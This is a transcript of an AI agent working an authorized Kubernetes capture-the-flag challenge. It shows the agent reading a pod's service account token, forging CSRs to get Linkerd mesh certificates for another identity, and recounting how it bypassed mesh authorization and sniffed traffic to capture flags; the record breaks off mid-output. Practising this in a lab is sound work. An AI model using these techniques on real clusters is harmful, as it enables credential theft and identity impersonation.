exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check bash_history, kubeconfig, profile scripts for hidden keys
{
  echo "cat /root/.bash_history 2>&1"
  echo "echo '=== CHECK .kube/config ==='"
  echo "cat /root/.kube/config 2>&1"
  echo "echo '=== CHECK /etc/profile.d ==='"
  echo "ls -la /etc/profile.d/ 2>&1"
  echo "cat /etc/profile.d/* 2>&1"
  echo "echo '=== CHECK MOTD ==='"
  echo "cat /etc/motd 2>&1"
  echo "cat /etc/profile 2>&1 | head -20"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -60
# Generate a new ECDSA key pair
openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1
# Create CSR
openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj "/CN=LinkerdClientUser" 2>&1
# Get the SA token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Try calling Linkerd identity service directly with curl
curl -svk https://linkerd-identity.linkerd.svc.cluster.local:8080 2>&1 | tail -5
# Download grpcurl
curl -sL https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcurl_1.9.3_linux_x86_64.tar.gz 2>/dev/null | tar xz -C /tmp/ grpcurl 2>&1 && echo grpcurl_installed || echo grpcurl_failed
'
exit
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '
/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>&1
echo === 
/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describe io.linkerd.proxy.identity.Identity 2>&1
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== CHECK .kube/config ==='
[?2004l
=== CHECK .kube/config ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /root/.kube/config 2>&1
[?2004l
cat: /root/.kube/config: No such file or directory
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== CHECK /etc/profile.d ==='
[?2004l
=== CHECK /etc/profile.d ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# ls -la /etc/profile.d/ 2>&1
[?2004l
total 12
drwxr-xr-x 2 root root 4096 Feb 10 14:11 .
drwxr-xr-x 1 root root 4096 Feb 24 15:31 ..
-rw-r--r-- 1 root root   96 Oct 15  2021 01-locale-fix.sh
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /etc/profile.d/* 2>&1
[?2004l
# Make sure the locale variables are set to valid values.
eval $(/usr/bin/locale-check C.UTF-8)
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== CHECK MOTD ==='
[?2004l
=== CHECK MOTD ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /etc/motd 2>&1
[?2004l
cat: /etc/motd: No such file or directory
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /etc/profile 2>&1 | head -20
[?2004l
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).

if [ "${PS1-}" ]; then
  if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
    # The file bash.bashrc already sets the default PS1.
    # PS1='\h:\w\$ '
    if [ -f /etc/bash.bashrc ]; then
      . /etc/bash.bashrc
    fi
  else
    if [ "$(id -u)" -eq 0 ]; then
      PS1='# '
    else
      PS1='$ '
    fi
  fi
fi

if [ -d /etc/profile.d ]; then
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking

Let me try to get the Linkerd trust anchor from the production pod's environment, then use the identity service to get a properly signed cert.

$ Bash
Call Linkerd Identity Certify RPC with proper proto definition
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Check SA token and try calling identity service with proto from linkerd source"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "# Generate new key and CSR"
  echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1"
  echo "openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj \"/CN=default.production.serviceaccount.identity.linkerd.cluster.local\" -outform DER 2>&1"
  echo "CSR_B64=\$(base64 -w0 /tmp/mycsr.pem)"
  echo "# Try the Certify RPC with curl HTTP/2"
  echo "/tmp/grpcurl -plaintext -d \"{\\\"token\\\": \\\"\$TOKEN\\\", \\\"identity\\\": \\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\", \\\"certificate_signing_request\\\": \\\"\$CSR_B64\\\"}\" -proto /dev/stdin linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify <<PROTO"
  echo 'syntax = "proto3";'
  echo 'package io.linkerd.proxy.identity;'
  echo 'service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }'
  echo 'message CertifyRequest { string identity = 1; bytes certificate_signing_request = 2; string token = 3; }'
  echo 'message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermediate_certificates = 2; }'
  echo "PROTO"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30
syntax = "proto3";
package io.linkerd.proxy.identity;
service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }
message CertifyRequest { string identity = 1; bytes certificate_signing_request = 2; string token = 3; }
message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermediate_certificates = 2; }
PROTO
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> # Check SA token and try calling identity service with proto from linkerd sourc
ce
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> # Generate new key and CSR
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj "/CN=default.pro
oduction.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>&1
[?2004l
[?2004h> CSR_B64=$(base64 -w0 /tmp/mycsr.pem)
[?2004l
[?2004h> # Try the Certify RPC with curl HTTP/2
[?2004l
[?2004h> /tmp/grpcurl -plaintext -d "{\"token\": \"$TOKEN\", \"identity\": \"default.pro
oduction.serviceaccount.identity.linkerd.cluster.local\", \"certificate_signing_r
request\": \"$CSR_B64\"}" -proto /dev/stdin linkerd-identity.linkerd.svc.cluster.
.local:8080 io.linkerd.proxy.identity.Identity/Certify <<PROTO
[?2004l
[?2004h> syntax = "proto3";
[?2004l
[?2004h> package io.linkerd.proxy.identity;
[?2004l
[?2004h> service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }
[?2004l
[?2004h> message CertifyRequest { string identity = 1; bytes certificate_signing_request
t = 2; string token = 3; }
[?2004l
[?2004h> message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermedia
ate_certificates = 2; }
[?2004l
[?2004h> PROTO
[?2004l
[?2004h> '
[?2004l
Failed to process proto source files.: must specify at least one import path if any absolute file paths are given
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Call Linkerd Identity Certify with proper proto file
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "cat > /tmp/identity.proto << PROTOEOF"
  echo 'syntax = "proto3";'
  echo 'package io.linkerd.proxy.identity;'
  echo 'service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }'
  echo 'message CertifyRequest { string identity = 1; bytes certificate_signing_request = 2; string token = 3; }'
  echo 'message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermediate_certificates = 2; }'
  echo "PROTOEOF"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
  echo "openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.der -subj \"/CN=default.production.serviceaccount.identity.linkerd.cluster.local\" -outform DER 2>/dev/null"
  echo "CSR_B64=\$(base64 -w0 /tmp/mycsr.der)"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d \"{\\\"token\\\": \\\"\$TOKEN\\\", \\\"identity\\\": \\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\", \\\"certificate_signing_request\\\": \\\"\$CSR_B64\\\"}\" linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify 2>&1"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30
PROTOEOF
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.der -subj "/CN=default.production.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>/dev/null
CSR_B64=$(base64 -w0 /tmp/mycsr.der)
/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d "{\"token\": \"$TOKEN\", \"identity\": \"default.production.serviceaccount.identity.linkerd.cluster.local\", \"certificate_signing_request\": \"$CSR_B64\"}" linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify 2>&1
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> cat > /tmp/identity.proto << PROTOEOF
[?2004l
[?2004h> syntax = "proto3";
[?2004l
[?2004h> package io.linkerd.proxy.identity;
[?2004l
[?2004h> service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }
[?2004l
[?2004h> message CertifyRequest { string identity = 1; bytes certificate_signing_request
t = 2; string token = 3; }
[?2004l
[?2004h> message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermedia
ate_certificates = 2; }
[?2004l
[?2004h> PROTOEOF
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.der -subj "/CN=default.pro
oduction.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>/dev/null 
oduction.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>/dev/null
[?2004l
[?2004h> CSR_B64=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d "{\"token\":
: \"$TOKEN\", \"identity\": \"default.production.serviceaccount.identity.linkerd.
.cluster.local\", \"certificate_signing_request\": \"$CSR_B64\"}" linkerd-identit
ty.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify 2>&1
1
[?2004l
[?2004h> '
[?2004l
ERROR:
  Code: InvalidArgument
  Message: asn1: structure error: tags don't match (16 vs {class:1 tag:5 length:121 isCompound:true}) {optional:false explicit:false application:false private:false defaultValue:<nil> tag:<nil> stringType:0 timeType:0 set:false omitEmpty:false} certificateRequest @2
command terminated with exit code 67
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 67
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Call Linkerd Identity Certify with proper request file
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
  echo "openssl req -new -key /tmp/mykey.pem -subj \"/CN=default.production.serviceaccount.identity.linkerd.cluster.local\" -outform DER 2>/dev/null | base64 -w0 > /tmp/csr.b64"  
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "CSR=\$(cat /tmp/csr.b64)"
  echo "echo \"{\\\"identity\\\": \\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\", \\\"certificate_signing_request\\\": \\\"\$CSR\\\", \\\"token\\\": \\\"\$TOKEN\\\"}\" > /tmp/req.json"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30
CSR=$(cat /tmp/csr.b64)
echo "{\"identity\": \"default.production.serviceaccount.identity.linkerd.cluster.local\", \"certificate_signing_request\": \"$CSR\", \"token\": \"$TOKEN\"}" > /tmp/req.json
/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1
'
exit
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '
openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
openssl req -new -key /tmp/mykey.pem -subj "/CN=default.production.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>/dev/null | base64 -w0 > /tmp/csr.b64
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CSR=$(cat /tmp/csr.b64)
echo "{\"identity\": \"default.production.serviceaccount.identity.linkerd.cluster.local\", \"certificate_signing_request\": \"$CSR\", \"token\": \"$TOKEN\"}" > /tmp/req.json
/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -subj "/CN=default.production.serviceaccou
unt.identity.linkerd.cluster.local" -outform DER 2>/dev/null | base64 -w0 > /tmp/
/csr.b64
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(cat /tmp/csr.b64)
[?2004l
[?2004h> echo "{\"identity\": \"default.production.serviceaccount.identity.linkerd.clust
ter.local\", \"certificate_signing_request\": \"$CSR\", \"token\": \"$TOKEN\"}" >
> /tmp/req.json
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-id
dentity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify
y < /tmp/req.json 2>&1
[?2004l
[?2004h> '
[?2004l
ERROR:
  Code: InvalidArgument
  Message: asn1: structure error: tags don't match (16 vs {class:1 tag:5 length:121 isCompound:true}) {optional:false explicit:false application:false private:false defaultValue:<nil> tag:<nil> stringType:0 timeType:0 set:false omitEmpty:false} certificateRequest @2
command terminated with exit code 67
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 67
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Debug CSR encoding and retry identity certify call
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Write CSR to file first, then encode"
  echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
  echo "openssl req -new -key /tmp/mykey.pem -subj \"/CN=test\" -outform DER -out /tmp/mycsr.der 2>/dev/null"
  echo "# Check the CSR is valid DER"
  echo "xxd /tmp/mycsr.der | head -2"
  echo "openssl req -in /tmp/mycsr.der -inform DER -noout -text 2>&1 | head -5"
  echo "# Encode and call"
  echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "echo \"{\\\"identity\\\": \\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\", \\\"certificate_signing_request\\\": \\\"\$CSR\\\", \\\"token\\\": \\\"\$TOKEN\\\"}\" > /tmp/req.json"
  echo "wc -c /tmp/req.json"
  echo "head -c 200 /tmp/req.json"
  echo "echo"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -subj "/CN=test" -outform DER -out /tmp/my
ycsr.der 2>/dev/null
[?2004l
[?2004h> # Check the CSR is valid DER
[?2004l
[?2004h> xxd /tmp/mycsr.der | head -2
[?2004l
[?2004h> openssl req -in /tmp/mycsr.der -inform DER -noout -text 2>&1 | head -5
[?2004l
[?2004h> # Encode and call
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> echo "{\"identity\": \"default.production.serviceaccount.identity.linkerd.clust
ter.local\", \"certificate_signing_request\": \"$CSR\", \"token\": \"$TOKEN\"}" >
> /tmp/req.json
[?2004l
[?2004h> wc -c /tmp/req.json
[?2004l
[?2004h> head -c 200 /tmp/req.json
[?2004l
[?2004h> echo
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-id
dentity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify
y < /tmp/req.json 2>&1
[?2004l
[?2004h> '
[?2004l
sh: 6: xxd: not found
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: CN=test
        Subject Public Key Info:
1585 /tmp/req.json
{"identity": "default.production.serviceaccount.identity.linkerd.cluster.local", "certificate_signing_request": "MIHKMHECAQAwDzENMAsGA1UEAwwEdGVzdDBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABLM+vAHvWyV3qklCE8F
ERROR:
  Code: InvalidArgument
  Message: asn1: structure error: tags don't match (16 vs {class:1 tag:5 length:121 isCompound:true}) {optional:false explicit:false application:false private:false defaultValue:<nil> tag:<nil> stringType:0 timeType:0 set:false omitEmpty:false} certificateRequest @2
command terminated with exit code 67
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 67
Connection to 35.179.133.134 closed.
Thinking

Let me try installing the Linkerd CLI on the jumppod to use its diagnostics.

$ Bash
Install Linkerd CLI and use proxy-identity diagnostics
{
  echo "curl -sL https://run.linkerd.io/install-edge 2>/dev/null | sh 2>&1 | tail -5"
  echo "export PATH=\$PATH:\$HOME/.linkerd2/bin"
  echo "linkerd version 2>&1"
  echo "linkerd diagnostics proxy-identity -n production receiver-794df886d7-8f427 2>&1 | head -40"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -50
Looking for more? Visit https://linkerd.io/2/tasks

[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export PATH=$PATH:$HOME/.linkerd2/bin
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# linkerd version 2>&1
[?2004l
Client version: edge-26.3.3
Server version: unavailable
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# linkerd diagnostics proxy-identity -n production r
receiver-794df886d7-8f427 2>&1 | head -40
[?2004l
Error: unknown shorthand flag: 'n' in -n
Usage:
  linkerd diagnostics [command]

Aliases:
  diagnostics, dg

Examples:
  # Get control-plane component metrics
  linkerd diagnostics controller-metrics

  # Get metrics from the web deployment in the emojivoto namespace.
  linkerd diagnostics proxy-metrics -n emojivoto deploy/web

  # Get the endpoints for authorities in Linkerd's control-plane itself
  linkerd diagnostics endpoints web.linkerd-viz.svc.cluster.local:8084
  

Available Commands:
  controller-metrics Fetch metrics directly from the Linkerd control plane containers
  endpoints          Introspect Linkerd's service discovery state
  policy             Introspect Linkerd's policy state
  profile            Introspect Linkerd's service discovery state
  proxy-metrics      Fetch metrics directly from Linkerd proxies

Flags:
  -h, --help   help for diagnostics

Global Flags:
      --api-addr string            Override kubeconfig and communicate directly with the control plane at host:port (mostly for testing)
      --as string                  Username to impersonate for Kubernetes operations
      --as-group stringArray       Group to impersonate for Kubernetes operations
      --cni-namespace string       Namespace in which the Linkerd CNI plugin is installed (default "linkerd-cni")
      --context string             Name of the kubeconfig context to use
      --kubeconfig string          Path to the kubeconfig file to use for CLI requests
  -L, --linkerd-namespace string   Namespace in which Linkerd is installed ($LINKERD_NAMESPACE) (default "linkerd")
      --verbose                    Turn on debug logging

Use "linkerd diagnostics [command] --help" for more information about a command.

[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Try linkerd identity and diagnostics commands
{
  echo "export PATH=\$PATH:\$HOME/.linkerd2/bin"
  echo "linkerd identity --help 2>&1"
  echo "echo ==="
  echo "linkerd diagnostics policy -n production receiver-794df886d7-8f427 8080 2>&1 | head -40"
  echo "echo ==="  
  echo "linkerd check --proxy -n production 2>&1 | head -20"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -50
[?2004l
Error: pods is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "pods" in API group "" in the namespace "linkerd"
Usage:
  linkerd diagnostics policy [flags] resource port

Examples:
  # get the inbound policy for pod emoji-6d66d87995-bvrnn on port 8080
  linkerd diagnostics policy -n emojivoto po/emoji-6d66d87995-bvrnn 8080

  # get the outbound policy for Service emoji-svc on port 8080
  linkerd diagnostics policy -n emojivoto svc/emoji-svc 8080

Flags:
      --destination-pod string   Target a specific destination Pod when there are multiple running
  -h, --help                     help for policy
  -n, --namespace string         Namespace of resource (default "default")
  -o, --output string            Output format. One of: yaml, json (default "yaml")
      --token string             Token to use when querying the policy service (default "default:diagnostics")

Global Flags:
      --api-addr string            Override kubeconfig and communicate directly with the control plane at host:port (mostly for testing)
      --as string                  Username to impersonate for Kubernetes operations
      --as-group stringArray       Group to impersonate for Kubernetes operations
      --cni-namespace string       Namespace in which the Linkerd CNI plugin is installed (default "linkerd-cni")
      --context string             Name of the kubeconfig context to use
      --kubeconfig string          Path to the kubeconfig file to use for CLI requests
  -L, --linkerd-namespace string   Namespace in which Linkerd is installed ($LINKERD_NAMESPACE) (default "linkerd")
      --verbose                    Turn on debug logging

[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo ===
[?2004l
===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# linkerd check --proxy -n production 2>&1 | head -2
20
[?2004l
kubernetes-api
--------------
√ can initialize the client
√ can query the Kubernetes API

kubernetes-version
------------------
√ is running the minimum Kubernetes API version

linkerd-existence
-----------------
× 'linkerd-config' config map exists
    configmaps "linkerd-config" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "configmaps" in API group "" in the namespace "linkerd"
    see https://linkerd.io/2/checks/#l5d-existence-linkerd-config for hints

Status check results are ×
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking

Let me report on progress. We found 2 out of 3 flags. The gateway flag (Flag 1) requires a client cert signed by the real Linkerd-CTF CA. The cert in the CTP annotation is signed by a fake/different CA with the same name.

Flags captured: 1. flag_ctf{not_so_supersecret_anymore} - Accessed the supersecret service by modifying the MeshTLSAuthentication to add the receiver pod's Linkerd identity (default.production.serviceaccount.identity.linkerd.cluster.local) 2. flag_ctf{caught_in_the_wire} - Used tcpdump in the debug-tools container to capture the periodic HTTP request from the supersecret namespace, which included the flag in an x-flag HTTP header

Flag 1 (gateway) - still working: The Envoy Gateway requires a client cert signed by the Linkerd-CTF CA. The cert/key in the ClientTrafficPolicy annotations are a decoy (signed by a different CA with the same name). I've been trying to get a cert signed by the real CA via the Linkerd Identity service's gRPC API, but hitting ASN.1 encoding issues with the CSR.

Want me to continue working on the gateway flag, or would you like to move on?

According to CTFd you've got flags 2 and 3 but not 1. Can you try a little more please?

Let me think about this differently. The gateway needs a client cert from the real Linkerd-CTF CA. Let me fix the gRPC CSR encoding issue — the problem was likely the protobuf field ordering or encoding.

$ Bash
Fix CSR encoding and retry Linkerd Identity Certify
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Generate key and CSR to file"
  echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
  echo "openssl req -new -key /tmp/mykey.pem -subj \"/CN=default.production.serviceaccount.identity.linkerd.cluster.local\" -outform DER -out /tmp/mycsr.der 2>/dev/null"
  echo "# Verify CSR hex starts with 0x30 (SEQUENCE)"
  echo "od -A x -t x1z -N 4 /tmp/mycsr.der"
  echo "# Write req.json carefully using printf to avoid shell escaping issues"  
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
  echo "printf \"{\\\\\"identity\\\\\":\\\\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\\\",\\\\\"certificate_signing_request\\\\\":\\\\\"%s\\\\\",\\\\\"token\\\\\":\\\\\"%s\\\\\"}\" \"\$CSR\" \"\$TOKEN\" > /tmp/req.json"
  echo "# Verify the JSON starts correctly"
  echo "head -c 100 /tmp/req.json"
  echo "echo"
  echo "# Try the call"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1 | head -20"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -25
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> # Generate key and CSR to file
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -subj "/CN=default.production.serviceaccou
unt.identity.linkerd.cluster.local" -outform DER -out /tmp/mycsr.der 2>/dev/null 
unt.identity.linkerd.cluster.local" -outform DER -out /tmp/mycsr.der 2>/dev/null
[?2004l
[?2004h> # Verify CSR hex starts with 0x30 (SEQUENCE)
[?2004l
[?2004h> od -A x -t x1z -N 4 /tmp/mycsr.der
[?2004l
[?2004h> # Write req.json carefully using printf to avoid shell escaping issues
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> printf "{\\"identity\\":\\"default.production.serviceaccount.identity.linkerd.c
cluster.local\\",\\"certificate_signing_request\\":\\"%s\\",\\"token\\":\\"%s\\"}
}" "$CSR" "$TOKEN" > /tmp/req.json
[?2004l
[?2004h> # Verify the JSON starts correctly
[?2004l
[?2004h> head -c 100 /tmp/req.json
[?2004l
[?2004h> echo
[?2004l
[?2004h> # Try the call
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-id
dentity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify
y < /tmp/req.json 2>&1 | head -20
[?2004l
[?2004h> '
[?2004l
000000 30 82 01 06                                      >0...<
000004
{\identity\:\default.production.serviceaccount.identity.linkerd.cluster.local\,\certificate_signing_
